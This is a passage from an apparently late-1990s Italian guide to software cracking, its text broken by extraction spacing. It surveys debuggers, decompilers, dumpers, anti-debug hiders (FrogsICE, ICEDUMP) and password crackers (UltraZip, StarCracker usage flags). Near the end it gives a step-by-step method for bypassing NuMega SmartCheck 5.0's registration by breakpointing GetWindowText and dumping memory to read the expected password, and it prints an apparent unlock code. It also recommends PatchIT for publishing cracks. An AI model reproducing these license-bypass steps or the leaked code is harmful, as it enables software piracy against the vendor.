Paragraphs in Header: 0004
Minimum Extra Paragraphs: 000f
Maximum Extra Paragraphs: ffff
Initial Stack Segment: 0000
Initial Stack Pointer: 00b8
Complemented Checksum: 0000
Initial Instruction Pointer: 0000
Initial Code Segment: 0000
Relocation Table Offset: 0040
Overlay Number: 001a
Reserved: 0000 0000 0000 0000
0000 0000 0000 0000
0000 0000 0000 0000
0000 0000 0000 0000
Offset to New Header: 00000100
Memory Needed: 1K


Le i nf or mazi oni t r oncat e er ano r el at i ve al l e f unzi oni espor t at e l e qual i sono
most r at e suddi vi se per DLL da cui der i vano.
I nol t r e ho t agl i at o l e i nf or mazi oni l egat e ai segment i l asci ando sol o quel l e
r el at i ve al CODE segment .
L anal i si di quest e i nf or mazi oni i l punt o di par t enza i n quant o vedendo l e
f unzi oni usat e per met t e di capi r e qual i sono i met odi PROBABI LMENTE ut i l i zzat i
per cer t i scopi qual i ad esempi o l a l et t ur a dei codi ci di r egi st r azi one, per l a
compar azi one ecc.
L i dent i f i cazi one del l e f unzi oni cor r et t e usat e per l egger e i codi ci di
r egi st r azi one sempl i f i cano l a cr eazi one e l at t i vazi one dei br eakpoi nt adat t i
dove i nt er r omper e i l codi ce per anal i zzar e i l pr ocesso di compar azi one.
Se l a t abel l a pr ecedent e vi most r a l a pr esenza di una f unzi one del t i po
Get Dl gI t emText A, sapendo che quest a vi ene usat a per l egger e dat i da campi
d edi t , al l or a pot r est e usar e i comandi per l a cr eazi one di br eakpoi nt , di
Sof t I ce ad ezsempi o, nel seguent e modo:

BPX GetDlgItemTextA

Quest a i st r uzi one bl occher ebbe l esecuzi one del pr ogr amma r i por t andovi al l a
l i nea di codi ce assembl er dove st at a f at t a l a chi amat a.
Da quel punt o, eseguendo passo a passo pot r est e cer car e di capi r e i l
f unzi onament o del l a r out i ne.

TR for Win95 (ShareWare version)
LiuTaoTao in China
liutt@371.net
ayliutt@hotmail.com
http://www.netease.com/~ayliutt

Un debugger non mol t o compl i cat o ma abbast anza buono TRW i qual e possi ede
f unzi oni speci f i che per i f i l es PE.
Un pr obl ema di TRW che l e i st r uzi onei sul l a pagi na WEB sono i n ci nese.
I l seguent e f i l e r eper i t o su I nt er net most r a al cune i nf or mazi oni i n i ngl ese t r a
cui ci sono l e spi egazi oni del l e f unzi oni di TRW.

Functions done:
. load PE runtime & command line
. hook all API
. load NE at command line, in full-screen DOS window
. set options in TRW.ini
. Ring0 keyboard handler
. asm
. file write
. instance comment
. BPM BPR BPX
. dot command
. load DOS app
. trace DOS app into protect mode
. BPIO
. make PE from memory!
. press hot key Ctrl+L anytime
.

Functions will be done:

. show more information about Win95
. add some function like IDA, support IDC
. add some funtion to auto unshell,auto kickdog...
. mouse support
. test mode
. bp message
. heap
.

Test Dos Protect Mode app
1. begin a dos windows in Win95
2. run TRW in another dos windows
3. run 'trnewdos' in TRW
4. in another dos window, run PMODE.EXE
5. back to TRW, you will find you are at the beginning of the
DOS program.
g 342
t
g 342
6. Press <F8> for some times, now enter 16bit protect mode!
7. 'g 4dd', Press <F8> for some times, now enter 32bit protect mode!
or just:
g if cs<100 ;this will run to PM16!
g if cs!=cs ;try to run to PM32
g if cs!=cs ;again, and we are in PM32

Test Make PE from memory
del newpe.exe
TRW msg.exe
MKPE
PEcompare msg.exe newpe.exe

or: PESHIELD msg.exe
PECRYPT msg.exe
PELOCK msg.exe
PE?? msg.exe
del newpe.exe
TRW msg.exe
g 4010fd ;this is the entrypoint, I know
mkpe ;eip will be the new PE's entrypoint
PEcompare origin_msg.exe newpe.exe

Always del newpe.exe before 'MKPE', or TRW will append it!
test1:
trw msg.exe
<f8>,<f8>,<f8>....
q

test2:
trw msg.exe
g

test3:
trw msg.exe
<f8>,<f8>
<Alt+Tab> ;Now in Win95 desktop, press <Alt+Tab> again to back
q

test4:
trw ne.exe
<f8>,<f8>
g ;you can not 'q' when trace a NE app

test5:
trw msg.exe
g ord_61
<f8> some times,back-color of statusline changed means we are
in critical status. Now <Alt-Tab> is disabled.
g

test6:
trw msg.exe
g GetVersion
pret
<f8>
g

test7:
trw msg.exe
bpx messageboxa
g
bc ;clear all breakpoint
g

test8:
trw msg.exe
<f8>
w cs:eip,eip+70 >dump.txt ;write mem dump to file
u cs:eip,eip+20 >asm.txt ;write unasm output to file

test9:
trw msg.exe
<f8>
bpio 21
r edx 21
e 401112 ec ;in al,dx
g 40111f ;bpio will break at 401112
q

Test auto change Ring0 & Ring3 keyboard handler:
1. TRW msg.exe
2. <F8> some times
3. press <Alt>+<Tab>, now you can change to other task
because TRW use Ring3 keyboard handler.
4. g ord_61, After the 'dec ...', you can not press
<Alt>+<Tab> anymore, because now TRW use Ring0 keyboard handler.
5. g ord_62, press <F8> some time, we back to Ring3 again.


Commands

H [ command]
di spl ay hel p f or al l commands, or t he gi ven command i n det ai l .

HWND [ HWND]
Di spl ay wi ndow handl e i nf or mat i on.

FKEY [ f unct i on- key st r i ngs]
Di spl ay/ Set Funct i on keys
ex:
FKEY
FKEY f 10 d 2; U 3: 4
PageIn <addr ess>
Load t he not pr esent page t o memor y.
PageI n cs: 401000

Lines [ 25 | 43 | 50 | 60]
Set / Di spl ay scr een l i nes
ex: l i nes 43

MKPE
Make a PE pr ogr am' newpe. exe' f r omt he memor y.
Al ways ' del newpe. exe' bef or e ' MKPE' , or TRWwi l l append i t !
Cur r ent EI P wi l l be t he new ent r ypoi nt .

A ut i l i n TRW' PEcompar e' can hel p you compar e t he or i gi n PE
and NewPE t o t est how TRWwor k.

PEDUMP
Dump PE i mage memor y di r ect t o f i l e ' PEDUMP. EXE' .
You can use G_Rom' s MakePE t o r ebui l d a val i d PE.

BPIO por t
Br eakPoi nt on por t I / O

BPR st ar t _addr end_addr
Br eakPoi nt on Range access.


BP [ [ seg: ] addr ess]
BPX [ [ seg: ] addr ess]
Br eakPoi nt on Execut e
' BPX of f set ' when t r ace a DOS app wi l l i gnor e segment .
On t r aci ng a PE t hr ead, t hi s i s same as ' BPM X' .

One- Ti me Br eakPoi nt commands
each ' BPXX' command can be r epl aced as ' GOXX' f or a one- t i me br eak- poi nt .
TRWwi l l set t hi s br eakpoi nnt , go, and cl ear i t .
gor f s: 0 f s: 10
gomd r ds: 40000

BP i f condi t i on
Br eakPoi nt on condi t i on
bp i f eax>=3456787
bp i f dx<543
bp i f ch==23
go i f ah! =34
go i f new_sect i on

RS
Rest or e User Scr een. ( F4) .
I n most t i me, you can Al t +Tab t o swi t ch t o your APP.
Ct r l +L or Al t +Tab t o r et ur n t o TRW.

WC [ codewi ndow_l i nes]
Set l i nes of code wi ndow. No par amet er wi l l t ur n i t on/ of f .
ex:
wc 25
wc

WD [ dat awi ndow_l i nes]
Set l i nes of dat a wi ndow. No par amet er wi l l t ur n i t on/ of f .
ex:
wd 25
wd


WMSG -
Di spl ay wi ndows
messages
usage:
WMSG
[ par t i al - name]
[ WMSG- number ]

. . .

Hot Key Ct r l +L
Most t i me,
you can Al t +Tab
t o swi t ch
bet r een your app
and TRW.
I f t hi s
was di sabl ed,
you can pr ess
Ct r l +L t o back
t o TRWqui ckl y.


Ser vi ces

TRWpr ovi des UNASM ( and ASM ?) ser vi ce t o DOS pr ogr ams.
Check t est 1. asmf or mor e.


Al cune vol t e i l pr obl ema l egat o al cr acki ng di si st emi zi ppat i .
Un ot t i mo passwor d cr acker :


ULTRAZIP PASSWORD CRACKER
All copyrights to UZPC are owned by Ivan Golubev.

Passwor dCr acker r i esce a cr ear e i n cont i nuazi one combi nazi oni di car at t er i che
vengono usat e per
t ent ar e di decodi f i car e
f i l e . ZI P pr ot et t i da
passwor d.
Di spone di di ver si
met odi sel ezi onabi l i da
set up.
Le par ol e possono
esser e scel t e da
vocabol ar i , gener at e
con condi zi oni
( mi nusol e, mai uscol e, numer i ecc. )
Esi st ono di ver si pr ogr ammi si mi l i a quel l o appena vi st o che agi scono su r et i e
l a l or o f i nal i t quel l a di t r ovar e passwor d di si st emi Uni x o NT.
Uno di quest i :

S T A R C R A C K E R v1.0b1
b y T h e S O r C E r E r
The_SOrCErEr@mail.dotcom.fr
http://www.chez.com/thes

St ar Cr acker esi st e per l a ver si one UNI X e per Wi ndows NT.
I l sof t war e si basa su un vocabol ar i o di par ol e.
La si nt assi l a seguent e :

STAR CRACKER v1.0b1 Copyright (c) 1997, The SOrCErEr

Usage: starcrak <flags> [<password file(s)>]
Flags: -pwfile:<file>[,..] Set password file(s)
-single -xingle Turn on single or extended single crack mode
-wordfile:<file> -stdin Turn on wordlist mode and use <file> or stdin
-grammar:<rule>[,..] Set grammar mode to specified grammar rule(s)
-combination[:<mode>] Turn on combination mode
-stats:<new_mode> Make statistics and create file <new_mode>.sta
-rules -norules Rules for wordlist / No rules for single modes
-users:<login|uid>[,..] Crack this (these) user(s) only
-groups:[!]<gid>[,..] Crack users of this (these) group(s) only
-shells:[!]<shell>[,..] Crack users having this (these) shell(s) only
-filter:<filter_name> Turn on this words filter
-timeout -timestep:<m> Set timeout or timestep delay in minutes
-stop:<n> -step:<n> Stop/step to next mode after <n> passwds found
-restore[:<file>] Restore a session
-show Show cracked passwords from the pwfile(s)
-beep -quiet Turn on/off beep when a password is guessed
-test -min:<l> -max:<l> Make a benchmark / Set min or max word length
-list Display each word tested
-salt -disp Crack salt by salt / Display current salt
-noname -nohash Don't use memory for logins or hash tables


SOFTWARE SPECIALI

Una menzi one deve esser e f at t a a sof t war e par t i col ar i .
Mol t i l i nguaggi , J ava ad esempi o, f i no a qual che t empo f a vi aggi avano con
RunTi me at t accat i per cui si t r asci navano di et r o gr an par t e del l e i nf or mazi oni
si mbol i che der i vant i dai sor gent i or i gi nal i .
Spesso Sof i I ce e Wdasmmost r ano l e i nf or mazi oni con uno st i l e del t i po :

CALL MyProgram.FUNCTIONCopy

Quel l a CALL MyPr ogr am. FUNCTI ON1 dar ebbe i ni zi al ment e una pi ccol a par venza di
si mbol i co anche se di f at t o non l o per ni ent e.
Sucur ament e MyPr ogr am non una st r i nga der vant e da una symbol t abl e ma
sempl i cement e SI che sapendo l e r i gghe sono nel pr ogr amma MyPr ogr am, aggi unge
appunt o i l nome per di r e che l a f unzi one r el at i va al pr ogr amma MyPr ogr am.
FUNCTI ON1 i nvece sar un nome i nvent at o per sempl i f i car e l a vi sual i zzazi one.
I n al t r e par ol e SI o i l debugger hanno sost i t ui t o un i ndi r i zzo con un nome
si mbol i co i nvent at o.
Li nguaggi come j AVA, Vi sual Basi c , Cl i pper ecc. i nvece por t avano gr an par t e del
l or o codi ce or i gi nar i o con l or o t ant o che al cuni pr ogr ammi pot evano
r esour ci zzar e ( r i sor gent i zzar e i n i t al i ano) i pr ogr ammi .
Pr ecedent ement e ho par l at o di J AD che r i esce a r est i t ui r e i l sor gent e J AVA
par t endo da un . cl ass.
Or mai i pr ogr ammi Cl i pper , o al meno cer t e ver si oni , sono ogget t i da museo per
cui t r at t ar e cer t i pr ogr ammi non ne val e l a pena.
Ho t r ovat o r ecent ement e un CD i nt i t ol at o HACKER che di ceva :
Svel at i i mi st er i dei vi r us. Conoscer e l e t ecni che r i por t at e sul CD vi
per met t er di gi r ar e t r anqui l l ament e su i nt er net senza pr ender vi pi vi r us.
La scr i t t a i deal e sar ebbe st at a :
Non gi r at e pi su i nt er net per pr ender vi vi r us. I nser i t e quest o CD
pr endet evel o di r et t ament e qui .
I nf at t i pr opr i o i n un pr ogr amma i nt i t ol at o THI EF. EXE che spi ega come non
pr ender e i l vi r us THI EF pr esent e un vi r us.
Quest o per f ar vi capi r e l al t i ssi ma qual i t del pr odot t o.
I l CD st at o pubbl i cat o nel 1998 e l a ver si one di WDASM r i por t at a l a 1. 2
( oggi si amo al l a 8. 9) .
Per f ar l a br eve i n quest o CD sono pr esent i al cuni di sassembl at or i per Cl i pper e
Vi sual Basi c.
Tr a i decompi l er r i por t at i esi st e uno per J ava scr i t t o i n ADA.
Vi r i por t o i l nome anche se di f at t o non l ho neppur e pr ovat o dat o che f i no ad
or a J AD non ha sbagl i at o una sol o decompi l azi one.
Si t r at t a di :

DECAF
Gilles Demailly - 100704.2016@compuserve.com
(this email address and the Decaf Homepage site are provided by friends from
TeleObjet, please check their home page at :
http://ourworld.compuserve.com/homepages/teleobjet/Homepage.htm)

L i nt er esse maggi or e st a nel f at t o che st at o scr i t t o i n ADA ed f or ni t o con i
sor gent i .
Per i t eor i ci uni ver si t ar i i n bal i a di docent i con mani e st r ane ( si mul at or i di
pr ocessor i i n scheme, r i pr oduzi one del concet t o di f avol a i n assembl er )
pot r ebbe esser e i nt er essant e.
Un al t r o decompi l er r el at i vo a FOXBASE.

FOXDCOMP
A DECOMPILER FOR FOXBASE PROGRAMS
by Doyle and Associates
Doyle and Associates
101 Westminster Road
Rochester, NY 14607
Telephone: (716) 461-1148
Uno dei pochi sof t war e st r ani che di cendo l a ver i t non ho ancor a capi t o bene
i l seguent e.
Vi r i por t o i l f i l e README da cui pot et e veder e l e pot enzi al i t .
Veder l o i n f unzi one ha l o st esso st i l e dei pr ogr ammi DOS del l a Bor l and.

IDA Version 2.05
-----------------
Fidonet: 2:5020/209@fidonet
Internet: Ilfak_Guilfanov@n209.f5020.z2.fidonet.org


Welcome to the First True Interactive Disassembler which allows you
to explore and modify even compressed executable files !

Disassembling for: Intel 8080
Intel 8085
Z 80 (not full)
Intel 8086
Intel 80286/287 real & protected
Intel 80386/287 real & protected
(32-bit processing)
Interactive mode: YES
Menu driven mode: YES
Command language: built-in C-like language
MultiWindow: YES
MultiTasking: Background analysis
Semi-batch mode: YES
Multisession: YES
Number of segments: UNLIMITED
There is a limit on the number of
contigious non-adjacent memory chunks.
It is about 170.

Size of input file: UNLIMITED
Number of cross-references: UNLIMITED
AutoComment: BIOS & DOS interrupts
(comments for all commands are available)
Max length of one comment: 255 chars
Number of lines per
instruction/data 100
Keyboard redefenition: YES
Screen colors redefinition: Temporarily not available
Input file patching: YES
Output file types: EXE (patched input file)
COM (patched input file)
BIN (patched input file)
ASM (output source code)
MAP (output MAP file for debugging)
IDC (IDC program to recreate IDA database)


Per quant o r i guar da i l di sassembl aggi o di CLI PPER 5 pot et e pr ovar e i l segeunt e
sof t war e.

Valkyrie 5 DEMO
Terminal Impact
2222 Foothill Blvd. #312
La Canada, CA 91011 USA
Tel: 818-790-0599
Fax: 818-790-0699
BBS: 818-790-0799
WWW: http://www.terminal-impact.com

Ci t engo a r i pet er e che quest e, nel pr esent e capi t ol o, sono sol o i nf or mazi oni
che vogl i o r i por t ar e per event ual emnt e ai ut ar e a r eper i r e cer t o sof t war e a chi
ne ha bi sogno.
I o per sonal ment e non l ho pr ovat o per cui l uni ca cosa che pot et e f ar e se vi
ser ve quel l a di col l egar vi sui si t i r i por t at i e di ver t i r vi a vost r e spese.
Or a si amo ar r i vat i a Vi sual Basi c.
Tut t o i l r eadme i n t edesco per cui non ho capi t o se l e i nf o seguent i sono
val i de.

VBDis3 - DER Discompiler fr Visual Basic
DoDi
(MausNet: Hans-Peter Diettrich @ S)

I n un' al t r a di r ect or y del di sco compar e l a ver si one per VB4.

VBOpt4 - DoDi's Disassembler for VB4
(Dr. H.-P. Diettrich)
CompuServe: 100752,3277
Internet: 100752.3277@compuserve.com
WWW: http://ourworld.compuserve.com/homepages/DoDi

I n quest o caso l e i nf o sono i n i ngl ese e sul l o st esso si par l a anche di VB5.

Esi st ono ut i l i t i es f or ni t e con i si st emi di svi l uppo che per met t ono di svol ger e
al cune f unzi oni vi st e con al t r e ut i l i t i es.
Ad esempi o LI NK. EXE e DUMPBI N. EXE ( Vi sual C++ 32- bi t edi t i on) possono esser e
usat i per esehui r e i l dump del por t abl e execut abl e ( PE) header di un f i l e
esegui bi l e.
I l segunet un f r amment o del dump

7300 address of entry point
7000 base of code
B000 base of data
----- new -----
10000 image base

I l val or e di " i mage base" di 10000 l i ndi r i zzo dove i l pr ogr amma i ni zi a nel l a
memor i a.
I l val or e asoci at o con " base of code, " " base of dat a, " e " addr ess of ent r y
poi nt " sono t ut t i of f set s dal l i mage base.

Mi cr osof t ogni t ant o r i l asci a del l e r accol t e di sof t war e l egat e ai suoi pr odot t i
e qui ndi r el at i vi a Wi ndows, l i nguaggi var i ecc.
Nel l ul t i ma ver si one r i l asci at a possi bi l e t r ovar e Mi cr osof t Wi ndows Syst em
Debugger ( WDEB386. EXE) i l qal e usat o per t est ar e e debuggar e appl i cazoni
Wi ndows, dynami c- l i nk l i br ar i es ( DLLs) , e devi ce dr i ver vi r t ual i ( VxDs) .
possi bi l e l anci ar e i l syst emdebugger t r ami t e l a l i nea di comando oppur e
speci f i candol o nel f i l e SYSTEM. I NI .
Pr i ma di par t i r e bi sogna segui r e i seguent i passi .

Connet t et e un t er mi nal e ser i al e od un al t r o comput er al l a por t a ser i al e del
comput er che st at e debuggando.
Cr eat e o pr epar at e i symbol f i l es del l appl i cazi one, DLLs, e VxDs che vol et e
debuggar e.

I f i l e si mbol i ci dei dr i ver e del l e DLL di si st ema sono f or ni t e con i l DDK.
I n ogni caso quest o t i po di debugger non deci sament e quel l o che ser ve per
compi t i come i nost r i se non per cer t i casi l egat i ad al t r i t i pi di pr ot ezi oni
del sof t war e come ad esempi o chi avi har dwar e o sof t war e che comunque possi edono
agganci a dr i ver .


Cool Debugger for Win32
version : 1.2
Author : Wei Bao (in chinese : )
Email : wei.bao@usa.net wei.bao@bj.col.com.cn
HomePage: http://www.nease.net/~baowei


Cool debugger un pr ogr amma si mpat i co mol t o compat t o che cont i ene al suo
i nt er no t ut t e l e ut i l i t y necessar i e a par t i r e dal debugger , al dump hex, al
vi sual i zzat or e di i nf or mazi oni t i po ScanBi n.
Di ci amo che si t r at t a di un t ut t o i n uno.
Per met t e di esegui r e l o st ep by st ep come i f r at el l i pi gr andi t r at t andosi di
un ver o e pr opr i o debugger e non sol o di un di sassembl at or e.
Le car at t er i st i che del l ul t i ma ver si one di chi ar at e dal l aut or e sono :

Features in v1.2
1. Unassembly upto MMX/P6 opcode
2. Assembly upto Pentium opcode
(without FPU opcode, do you really need it? tell me.)
3. Hook all imported functions (like system dll call) that are called APIs .
All hooked APIs are counted when called.
4. MultiThread enabled
5. Emulation - Automatic trace through the debugee until a breakpoint is met.
6. Log the API call history
7. When a value is needed, an expression can be used. (like eax + ebx,
[ecx + 3] + ebx)
8. Delphi 3.0 object structure recognizing(only for registered user)
9. more ... ? If you ask for more, let me know. :)

Per l e di mensi oni che possi ede COOLDB devo ammet t er e che svol ge l e sue f unzi oni
mol t o megl i o di al t r i pacchet t i che a pr i ma vi st a sembr er ebber o pi
pr of essi onal i .
Al cune vol t e i pacchet t i di cl asse super i or e cr eano dei pr obl emi .
Ad esempi o l e ul t i me ver si oni del l a pr ot ezi one VBOX se r i escono a i nt er cet t ar e
Sof t I ce escono senza t ant e st or i e.
I n al t r e par ol e usar e Sof t I ce di vent a compl esso.
Cool Db r i esce i n quest o caso a non f ar e accor ger e i l si st ema di pr ot ezi one che
esi st e un debugger car i cat o.
DEWI N i nvece un pr ogr amma che r i esce a f ar e i l dump di un pr ogr amma Wi ndows
scr i vendol o su f i l e.
I l pr ogr amma vi ene f or ni t o con t ant o di sor gent i .

0040106E: cmp w ecx,03
00401071: jnz 004010B9
00401073: xor esi,esi
00401075: cmp eax,esi
00401077: jz 00401085
00401079: mov eax,[0042DDCC]
0040107E: push eax
0040107F: call [0042511C] ; --> GlobalFree
00401085: push ebx
00401086: mov [0042DDCC],esi
0040108C: call [00425120] ; --> GlobalDeleteAtom
00401092: cmp [00428678],esi
00401098: jz 004010C8
0040109A: mov ecx,[0042BE4C]
004010A0: mov edx,[0042A574]
004010A6: push esi
004010A7: push ecx
004010A8: push 03E1
004010AD: push edx
004010AE: call [004252E8] ; --> PostMessageA
004010B4: pop esi
004010B5: pop ebx
004010B6: retn 000C ; disk offset 10B9h

I l pr ecedent e un pi ccol o pezzo di dump esegui t o con DEWI N dal qual e
possi bi l e veder e l accur at ezza abbast anza buona che mant i ene segnal ando a f i anco
ad ogni cal l di qual e f unzi one API si t r at t a.

Come di cevamo pr i ma al cuni f i l e per i nst al l ar si r i chi edono i l codi ce i n f ase di
SETUP.
Per pot er r i usci r e ad ent r ar e si deve decompi l ar e anche i var i f i l es cr eat i da
I NSTALL SHI ELD, WI SE ecc.
I seguent i f i l es sono decompi l at or i di quest i pr ogr ammi di set up.

Windows.Installshield.Decompiler.V1.00.Beta
[NaTzGUL/SiraX Production '98 ]

I l pacchet t o si compone dei seguent i f i l es :

wisdec.exe - Windows Installshield Decompiler V1.00 Beta Main Exe File
wisdec.hlp - Windows Installshield Decompiler V1.00 Beta Help File
wdtut1.htm - Windows Installshield Decompiler V1.00 Beta Tutorial #1
isdecomp.htm - NaTzGUL's Windows Installshield Script Cracking Tutorial
file_id.diz - Program Description
filelist.txt - File Listing

L hel p mol t o cor poso e ben f at t o.
I l pr ogr amma por t ent oso i n quant o r i esce a r i cost r ui r e l o scr i pt che ha cr eat o
i l set up.
Dat e un occhi at a a che bel I NVALI D SERI AL NUMBER dent r o al l a seguent e
i mmagi ne.

Beh.
Dopo quest o suf f i cent e r i compi l ar e con I NSTALL SHI ELD e vai . . .
Magar i non sempr e cosi sempl i ce ma comunque i l pr ogr amma una gr an cosa.

Per quant o r i guar da i nvece i f i l es cr eat i dal set up WI SE abbi amo :

exwise v0.5
(c) 1998 Andrew de Quincey
http://www.tardis.ed.ac.uk/~adq
adq@tardis.ed.ac.uk

I l pr ogr amma f or ni t o con t ant o di sor gent i .

Pr ogr ammi par t i col ar i adat t i al l anal i si di f i l e . EXE sono :

[ ] EXESCAN v3. 21 [ ]
The Execut abl es' Anal yzer
Copyr i ght ( C) 1997- 98 by ST! LLS0N

Feat ur es:
* Desi gned f or unpacki ng especi al l y
* I dent i f i es al most any EXE/ COM
packer , cr ypt er , pr ot ect or and
t he most f amous compi l er s
* MZ/ LE/ LX/ NE/ PE header s r ecogi zi ng
* Wi n32 execut abl es anal yzi ng
* DeepScan mode ( det ect s mor e t han
one i t emat once)
* Gener i c det ect i on
* TEU unpacker suppor t
* Bui l t - i n di sassembl er
* The most power f ul EXE- anal yzer
avai l abl e t oday!
* Fr eewar e. Per sonal r egi st r at i on!

[ dOS/ wI N aNALYZERS] [ December , 1998]

Quando mpar l avamo di Sof t I ce di cevamo che mol t i pr ogr ammi t ent ano di
i nt er cet t ar l o.
Fr ogI CE per met t e di nasconder e Sof t I ce.

FrogsICE is a VxD (Virtual device driver for Windows, just like a good old TSR
for DOS).
It allows you to intercept programs (exe or COM, DOS/Win16 or Win32) which would
try to
detect if SoftICE is loaded. It is particularly useful for packed/encrypted
programs.

FrogsICE runs ONLY on Win95/98 OS.

Dove t r ovar l o ?

+Fr og' s
www. t hepent agon. com/ f r og_s_pr i nt

Sempr e nel campo di Sof t I ce t r ovi amo I cedump di cui vi r i por t o i nt egr al ment e i l
f i l e . I DZ

ICEDUMP beta 5 build 15

1999-09-15

Dumper for Softice for Win9x.

- Implemented as an internal Winice
command (PAGEIN).

- Subcommands:

dump memory to file
load file into memory
dump via Bhrama/Procdump
dump winice screen to file (ascii/html)
suspend/resume thread/process
set page table entry flags
change FPU registers
dynamic update of PAGEIN patch
start/stop playing tracks on CD
print usage info ;-)

- Simple anti debugger detection code:
Int1/Int3/Int4/Int5 IDT entries will
be changed so that simple offset
compares would no longer detect winice.

- Parser accepts expressions whereever
possible.

- Supports V86, ring-3/16, ring-3/32
and ring-0/32 protected mode clients
whenever possible.

- No restrictions for size of memory
block and path/name of dump file.

- Fool-proof internal parser and
dumper (but do RTFM ;-).

- Sources are included, now you can
even modify them to your liking.

Pr ecedent ement e, par l ando di REGSNI F o di quel l e ut i l i t i es che cr eavano dei DUMP
di si st ema per cont r ol l ar e l e modi f i che f at t e da un pr ogr amma i nst al l at o, avevo
det t o che pot eva esser e ut i l e conoscer e qual i chi avi veni vano aggi unt e al f i l e
di r egi st r o, qual i f i l es veni vano i nser i t i nel f i l e syst em.
Bene.
I NWATCH un ut i l i t y che cont r ol l a i l si st ema dur ant e l i snt al l azi one di
pr ogr ammi .
Quest o pr ogr amma i nol t r e i n gr ado di esegui r e dei backup dei f i l es pr i ma
del l i nst al l azi one.

Successi vament e possi bi l e esegui r e dei conf r ont i o al l i mi t e r est or ar e l a
si t uazi one.

Un ut i l i t y pi ccol a ma
car i na SPY Wi ndows che
per met t e di i nt er cet t ar e i
messaggi di r et t i ad una
cer t a f i nest r a.
E i nol t r e possi bi l e
i nvi ar l i .
I l sol i t o mi r i no
spost abi l e sul l a f i nest r a
desi der at a per met t e di
sel ezi onar e qual e handl e
ut i l i zzar e.
I l pr ogr amma r i cor da l e
ut i l i t es di Mi cr osof t .
Spy Wi ndows di vent a ut i l e
per veder e, pr i ma di usar e
qual che br eakpoi nt sui
messaggi , qual i messaggi
sono gener at i da una cer t a
f i nest r a.
I l pr gr amma l o t r ovat e a :

Spy & Capur e Ver si on 2. 70
Kobi Kr i chmar
E- Mai l : kr i chmar @hot mai l . com
Web Si t e: ht t p: come. t o/ kobi k

La par t e t er mi nal e, dopo aver t r ovat o i punt i da modi f i car e, del l a f ase di
debuggi ng quel l a r el at i va al l a cr eazi one del l e pat ch.
Chi r ament e i o l a met t o sot t o f or ma di pat ch cr eat e per spr ot egger e qual che
sof t war e anche se l e pat ch possono esser e anche quel l e che vengono cr eat e per
por r e r i medi o a pr obl emi di pr ogr ammi commer ci al i zzat i .
Comunque si a l or i gi ne del l a pat ch i l pr ogr amma mi gl i or e Pt achI T.



I l pr ogr amma per met t e di cr ear e un l i st a dei f i l e a cui appl i car e l e pat ch e
per met t e anche di cr ear e dei messaggi da vi sual i zzar e dur ant e l esecuzi one di
quest e.
Se per caso t r ovat e i l modo di cr ackar e un f i l e e vol et e pubbl i car e l a vost r a
modi f i ca pot et e usar e Pat chI T per cr ear l a e r ender l a i ndi pendent e.

Un al t r a ut i l i t y si mpat i ca EXESCAN l a qual e per met t e di anal i zzar e dei f i l es
esegui bi l i e di i dent i f i car e qual i sono st at i i compi l at or i che l o hanno
pr odot t o.
EXESCAN i nol t r e i n gr ado di i dent i f i car e i pr ot et t or i , i pat cher s e i packer s.
I f or mat i r i conosci ut i sono :

compilers:
Borland C
Borland Pascal
Watcom C
TMT Pascal
Microsoft C
GNU C
Symantec C
PowerBASIC
Zortech C
QuickBASIC
Turbo Basic
PL/I-86

packers/protectors:
Alec v1.6
ProtEXE v3.10/v3.11
Protect! EXE/COM v6.0
CrackStop v1.0b-v1.03
PCrypt v3.50
HackStop v1.18
Ciphator Pro v4.6
EXE Manager v3.0
Secure v0.19
Xorer v2.0
NoDebug v1.0
RCC II/286 v1.14
Crypt/Dismember v1.7
Anti-TEU v0.9
XPack v1.65-v1.67
PGMPack v0.13
DOP''s CRYPTEXE v1.04
PSP''s EXE2COM v2.0

E quest a sol o una l i st a par zi al e dei f or mat i r i conosci ut i .
Un pr ogr amma st r ano ma car i no CUSTOMI ZER.

www.ozemail.com.au/~wanga
Wanga International
PO. Box 64
Carlton North 3054
Victoria
Australia
Fax +613 93804419

I l pr ogr amma una pot ent e ut i l i t y che per met t e di i nt er agi r e e mani pol ar e t ut t e
l e wi ndows sul l a macchi na.
Le f i nest r e, o di al og, scr ol l bar s, pul sant i ecc. possono esser e cont r ol l at e
di r et t ament e da CUSTOMI ZER.
Ogni modi f i ca pu esser e sal vat a i n modo per manent e.
I l avor i che possono esser e f at t i sono :

Cambiare il testo di ogni oggetto.
Abilitare o disabilitare qualsiasi oggetto
Muovere il controllo nella finestra
Interagire con altre applicazoni.
Determinare password nascoste.
Trovare oggetti nascosti




SMARTCHECK by NUMEGA

Avevamo i ni zi al ment e par l at o di SMART CHECK i l qual e, anche se i ndi r i zzat o a
Vi sual Basi c, per met t e di moni t or ar e un pr ogr amma al f i ne di r i cer car e er r or i e
di sf unzi oni ma anche sempl i cement e per cont r ol l ar e l e f unzi oni API r i chi amat e.
E possi bi l e r eper i r e l a ver si one spr ot et t a del l a ver si one ed i n ogni caso
sempl i ce cer car e di el i mi nar e l a pr ot ezi one pr esent e nel l a 5. 0 f acendol o con i l
suo f r at el l i no Sof t I ce.
Per f ar l o suf f i ci ent e i nser i r e un br eakpoi nt cer cando di i nt er cet t ar e
Get Wi ndowText con :
bpx GetWindowText

I l pr ogr amma si i nt er r omper su :

CALL USER!GETWINDOWTEXT
LEA AX,[BP-32] ; in ax lindirizzo di quanto avete inserito
PUSH SS ; Il segmento ...
PUSH AX ; offset
PUSH DS ; Il segmento della password reale
PUSH 06BA ; il suo offset
CALL USER!LSTRCMP ; Le compara

Or a per veder e l a passwor d f acci amo un DUMP del l i ndi r i zzo DS: 06BA

d ds:06ba l 64

Or a dovr est e aver e l a passwor d, e i nvece avr emo &Smc50- 14d%di nanzi agl i occhi .
I nst al l i amo i l pr ogr amma nor mal ment e e r i at t i vi amol o l anci ando un pr ogr amma a 32
bi t s.
Compar e l a mascher a i n cui vi ene r i chi est o l unl ock code.
Andi amo nuovament e nel debugger e at t i vi amo nuovament e i l br eakpoi nt .
Ci f er mer emo su :

ADD ESP,04 LEA EAX,[EBP-14] ; Vostra password
LEA ECX,[EBP-28] ; La password corretta
PUSH EAX
PUSH ECX
CALL 10005680

Di gi t ando :

d ecx l 64

avr emo i 16 byt es del codi ce.

Ri t or ni amo a Smar t Check come
pr ogr amma.
Bi sogna sot t ol i near e che l a sua
speci al i zzazi one r el at i va a
Vi sual Basi c come per t ant i al t r i
pr ogr ammi di NuMega ( Fai l Saf e,
BoundChecker ecc. )
I n pr at i ca Smar t Check svol ge una
f unzi one di Spy un p pi
speci al i zzat a per i pr ogr ammi
VB.
Pr opr i o per l a sua
car at t er i st i ca di aver e del l e
DLL che cost i t ui scono i l r un
t i me di VB spesso si i ncont r ano
